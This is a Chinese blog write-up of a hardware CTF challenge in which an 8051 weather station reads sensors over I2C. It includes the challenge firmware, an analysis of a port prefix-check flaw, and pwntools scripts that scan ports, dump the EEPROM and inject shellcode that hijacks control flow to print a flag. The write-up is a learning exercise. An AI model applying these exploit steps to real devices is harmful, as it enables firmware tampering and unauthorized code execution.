前言
之前尝试挖iot设备的漏洞大多是基于对固件的分析,对硬件层面的东西还不太熟悉,正好开学数电计组连考积累了一点点这方面最基础的东西,于是就找了这道题来做个人了解硬件的一个入门
前置知识
当时看着xuanxuan师傅的博客,遇到了很多问题也学到了许多零散的知识,总结如下:
(1)I2C总线
(2)SPI协议
(3)EPPROM
(4)8051的特殊寄存器sfr
复现环境搭建
下载下来的赛题环境里有个docker,从dockerfile里可以看出运行在1337端口:
使用如下命令运行docker:
docker build -t hardware:weather .
docker run --privileged -p xxxx:1337 -d hardware:weather
然后使用nc指令就能连上了:
nc 127.0.0.1 1337
附件分析
附件通过一个pdf提供了赛题的集成电路图:
可以看出:
(1)存在5个传感器,通过IIC总线连接
(2) EEPROM与8051通过SPI协议相连,并且都有IIC总线接口
(3)Flag位于8051的FlagROM
分析题目提供的源码:
#include <stdint.h>
#include <stdbool.h>
#ifndef NULL
#define NULL ((void*)0)
#endif
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;
// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS; // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;
// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;
const char *ALLOWED_I2C[] = { //五个传感器
"101", // Thermometers (4x).
"108", // Atmospheric pressure sensor.
"110", // Light sensor A.
"111", // Light sensor B.
"119", // Humidity sensor.
NULL
};
int8_t i2c_write(int8_t port, uint8_t req_len, __xdata uint8_t *buf) {
while (I2C_STATUS == 1) {
POWERSAVE = 1; // Enter power save mode for a few milliseconds.
}
I2C_BUFFER_XRAM_LOW = (uint8_t)(uint16_t)buf;
I2C_BUFFER_XRAM_HIGH = (uint8_t)((uint16_t)buf >> 8);
I2C_BUFFER_SIZE = req_len;
I2C_ADDRESS = port;
I2C_READ_WRITE = 0; // Start write.
int8_t status;
while ((status = I2C_STATUS) == 1) {
POWERSAVE = 1; // Enter power save mode for a few milliseconds.
}
return status;
}
int8_t i2c_read(int8_t port, uint8_t req_len, __xdata uint8_t *buf) {
while (I2C_STATUS == 1) {
POWERSAVE = 1; // Enter power save mode for a few milliseconds.
}
I2C_BUFFER_XRAM_LOW = (uint8_t)(uint16_t)buf;
I2C_BUFFER_XRAM_HIGH = (uint8_t)((uint16_t)buf >> 8);
I2C_BUFFER_SIZE = req_len;
I2C_ADDRESS = port;
I2C_READ_WRITE = 1; // Start read.
int8_t status;
while ((status = I2C_STATUS) == 1) {
POWERSAVE = 1; // Enter power save mode for a few milliseconds.
}
return status;
}
const char *i2c_status_to_error(int8_t err) {
switch (err) {
case 0: return "i2c status: transaction completed / ready\n";
case 1: return "i2c status: busy\n";
case 2: return "i2c status: error - device not found\n";
case 3: return "i2c status: error - device misbehaved\n";
}
return "i2c status: unknown error\n";
}
void serial_print(const char *s) {
while (*s) {
while (!SERIAL_OUT_READY) {
// Busy wait...
}
SERIAL_OUT_DATA = *s++;
}
}
char serial_read_char(void) {
while (1) {
if (SERIAL_IN_READY) {
return (char)SERIAL_IN_DATA;
}
POWERSAVE = 1; // Enter power save mode for a few milliseconds.
}
}
struct tokenizer_st {
char *ptr;
int replaced;
};
void tokenizer_init(struct tokenizer_st *t, char *str) {
t->ptr = str;
t->replaced = 0x7fff;
}
char *tokenizer_next(struct tokenizer_st *t) {
if (t->replaced != 0x7fff) {
*t->ptr = (char)t->replaced;
}
while (*t->ptr == ' ') {
t->ptr++;
}
if (*t->ptr == '\0') {
return NULL;
}
char *token_start = t->ptr;
for (;;) {
char ch = *t->ptr;
if (ch != ' ' && ch != '\0') {
t->ptr++;
continue;
}
t->replaced = *t->ptr;
*t->ptr = '\0';
return token_start;
}
}
uint8_t str_to_uint8(const char *s) {
uint8_t v = 0;
while (*s) {
uint8_t digit = *s++ - '0';
if (digit >= 10) {
return 0;
}
v = v * 10 + digit;
}
return v;
}
void uint8_to_str(char *buf, uint8_t v) {
if (v >= 100) {
*buf++ = '0' + v / 100;
}
if (v >= 10) {
*buf++ = '0' + (v / 10) % 10;
}
*buf++ = '0' + v % 10;
*buf = '\0';
}
bool is_port_allowed(const char *port) { //前缀匹配
for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
const char *pa = *allowed;
const char *pb = port;
bool allowed = true;
while (*pa && *pb) {
if (*pa++ != *pb++) {
allowed = false;
break;
}
}
if (allowed && *pa == '\0') {
return true;
}
}
return false;
}
int8_t port_to_int8(char *port) {
if (!is_port_allowed(port)) {
return -1;
}
return (int8_t)str_to_uint8(port);
}
#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int main(void) {
serial_print("Weather Station\n");
static __xdata char cmd[CMD_BUF_SZ];
static __xdata uint8_t i2c_buf[I2C_BUF_SZ];
while (true) {
serial_print("? ");
int i;
for (i = 0; i < CMD_BUF_SZ; i++) {
char ch = serial_read_char();
if (ch == '\n') {
cmd[i] = '\0';
break;
}
cmd[i] = ch;
}
if (i == CMD_BUF_SZ) {
serial_print("-err: command too long, rejected\n");
continue;
}
struct tokenizer_st t;
tokenizer_init(&t, cmd);
char *p = tokenizer_next(&t);
if (p == NULL) {
serial_print("-err: command format incorrect\n");
continue;
}
bool write;
if (*p == 'r') {
write = false;
} else if (*p == 'w') {
write = true;
} else {
serial_print("-err: unknown command\n");
continue;
} //首先获取操作符
p = tokenizer_next(&t);
if (p == NULL) {
serial_print("-err: command format incorrect\n");
continue;
}
int8_t port = port_to_int8(p); //获取操作端口
if (port == -1) {
serial_print("-err: port invalid or not allowed\n");
continue;
}
p = tokenizer_next(&t);
if (p == NULL) {
serial_print("-err: command format incorrect\n");
continue;
}
uint8_t req_len = str_to_uint8(p);//获取操作长度
if (req_len == 0 || req_len > I2C_BUF_SZ) {
serial_print("-err: I2C request length incorrect\n");
continue;
}
if (write) { //将写入数据从str转换为uint8数组
for (uint8_t i = 0; i < req_len; i++) {
p = tokenizer_next(&t);
if (p == NULL) {
break;
}
i2c_buf[i] = str_to_uint8(p);
}
int8_t ret = i2c_write(port, req_len, i2c_buf);
serial_print(i2c_status_to_error(ret));
} else {
int8_t ret = i2c_read(port, req_len, i2c_buf);
serial_print(i2c_status_to_error(ret));
for (uint8_t i = 0; i < req_len; i++) {
char num[4];
uint8_to_str(num, i2c_buf[i]);
serial_print(num);
if ((i + 1) % 16 == 0 && i +1 != req_len) {
serial_print("\n");
} else {
serial_print(" ");
}
}
serial_print("\n-end\n");
}
}
// Should never reach this place.
}
通过标志性的语法“__sfr __at”可以分析出这个是基于SDCC开发的
可以下载一个SDCC的官方编译器,甚至默认安装选项里就会自动添加环境变量(windows环境),非常方便,在windows的cmd中输入如下命令便可编译:
sdcc firmware.c
编译得到如下文件
其中ihx是可逆向的文件,笔者使用的ida7.7貌似不能直接识别为8051,需要手工选择:
程序提供了两个形式的输入指令:
w port size <PageIndex> <4ByteWriteKey> <ClearMask> ... <ClearMask>
r port size
其中对port有个检查:
发现有个明显的漏洞,就是对于匹配的“101”字符,输入“101xxxxxxx”居然也能通过这个匹配
结合后面的str_to_int8可以得到最终的端口号为”101xxxx % 256″
又因为:
所以:
又因为IIc总线最多支持128个设备,于是我们从101120~101120+128爆破扫描128次即可爆破出所有端口
爆破脚本:
from pwn import *
context.arch = 'i386'
##context.log_level='debug'
def z():
gdb.attach(r)
io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))
if __name__ == "__main__":
global r
#r = process("./test")
r = remote("127.0.0.1",1337)
for i in range(0,129):
test = 101120 + i
pd = "r %s 4" % test
sla("?",pd)
a = r.recvuntil("-end")
if "error" not in a :
print("[+]port found :%s"%i)
print(a)
io()
扫出来一个题目没有的33号端口,十分可疑
用r指令读一下(读最大的128字节)试试:
结合ida逆向的ihx文件:
发现这两者高度吻合,那么基本可以确定33号port就是EEPROM了,也就是EEPROM挂载到了8051的I2C总线上了
但是存在一个问题——ihx文件里面从0x40开始是有东西的,但是输出里显示从”\x44\x00″过后就没东西了
从pdf里可以看出只输出了一页的内容
那么如果把8051的固件全部dump下来,我们需要对EEPROM的页进行切换
注意到给的pdf的这里:
“W”指令有一个PageIndex,选择写EEPROM是写具体的哪一页,那么我们应该能够通过如下指令切换EEPROM的页:
W port 1 <PageIndex>
也就是在不提供wirtekey的情况下实现EPPROM页的切换:
把这64页都读一遍就可以把8051的固件dump下来了
dump脚本:
from pwn import *
def int_to_bytes(x):
return int(a,10).to_bytes(1,'little')
if __name__ == "__main__":
#a = "16"
#print(int(a,10).to_bytes(1,'little'))
f = open("firmware.bin","wb")
r = remote("127.0.0.1",1337)
for i in range(0,64):
r.sendlineafter(b"?",("w 101153 1 %s" % str(i)).encode())
r.sendlineafter(b"?",b"r 101153 64")
r.recvuntil(b"ready\n")
a = r.recvuntil(b"-end",drop=True)
a = a.replace(b"\n",b" ")
a = a.decode('utf-8').split(' ')[:-2]
assert(len(a)==64)
for j in a :
f.write(int(j,10).to_bytes(1,'little'))
f.close()
r.interactive(
把dump下来的文件放入ida发现和ihx文件几乎没有差别
漏洞利用
紧接着我们就要考虑如何通过往EEPROM里擦写,劫持8051的运行流,读取FlagROM里的flag
EEPROM擦写规则
基于EEPROM的物理特性,对它进行写操作只能将bit的1写为0,而不能把0写为1(有点类似于画沙画)。
而且它的擦写规则是写入目标数据取反,也就是0xFF减这个数据
从ihx逆向里可以发现一个风水宝地:
从0x9E9开始的很大一段区域都是0xFF
但实际通过r指令读第40页的内容,发现并不是从0x9E9开始,而应该是0xA02(也可以用winhex等软件查看):
那么我们就可以在这段区域布置shellcode,并修改前面的某个跳转指令劫持8051的运行流到这块shellcode
运行流劫持
对于这题,运行流劫持最方便的手法肯定是绝对地址跳转
逆向发现一共有两种绝对地址跳转:
(1)ljmp:
(2)lcall:
指令形式非常好理解:
02/12 aa bb :aa bb 为地址
我们希望得到一个0x[b~f]00的地址,那么只需要考虑aa的情况(因为bb异或bb就直接清零了)
经过寻找发现这里比较合适,因为这里正好有个0x7E,改改就能改成0x0E(完全参考了xuanxuan师傅的思路):
(ps:这里用的是dump下来的文件,和题目给的编译出来的会有差别)
改成这个样子:
然后在0xe00处布置好shellcode就行了
shellcode写法
写这个shellcode主要是对FLAGROM_ADDR和FLAGROM_DATA以及SERIAL_OUT_DATA这三个SFR的操作:
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
如果用c语言写的话应该是这样:
#include <stdint.h>
#include <stdbool.h>
#ifndef NULL
#define NULL ((void*)0)
#endif
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
void main(void) {
for(int i=0; i<255; i++){
FLAGROM_ADDR = i;
SERIAL_OUT_DATA = FLAGROM_DATA;
}
}
直接编译然后用它的汇编有点长,所以考虑对着这篇博客的手册手搓汇编和机器码:
https://blog.csdn.net/qq_30787727/article/details/111239582
汇编:
void main(void) {
__asm
mov R7, #0
mov A, R7
mov _FLAGROM_ADDR, A
mov A, _FLAGROM_DATA
mov _SERIAL_OUT_DATA, A
INC R7
ljmp 0xe02
__endasm;
}
编译出的机器码:
那么我们就可以根据机器码然后转成10进制(题目格式)数了
完整exp
from pwn import *
context.arch = 'i386'
##context.log_level='debug'
def z():
gdb.attach(r)
io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))
if __name__ == "__main__":
global r
#r = process("./test")
r = remote("127.0.0.1",1337)
shellcode =[0x7F,0x0] #mov R7, #0
shellcode +=[0xEF] #mov A, R7
shellcode +=[0xF5,0xEE] #mov _FLAGROM_ADDR, A
shellcode +=[0xE5,0xEF] #mov A, _FLAGROM_DATA
shellcode +=[0xF5,0xF2] #mov _SERIAL_OUT_DATA, A
shellcode +=[0x0F] #INC R7
shellcode +=[0x02,0x0E,0x02] #ljump 0xe02
s = ''
for i in shellcode :
s += str(255-i) + " "
print(s)
sla(b"?",b"w 101153 100 56 165 90 165 90 " + s.encode())
sla(b"?",b"w 101153 100 19 165 90 165 90 "+b'0 '*51+b"255 255 253 241")
io()
总结
学到了SDCC的基础语法和汇编指令,对硬件层面又有了新的认识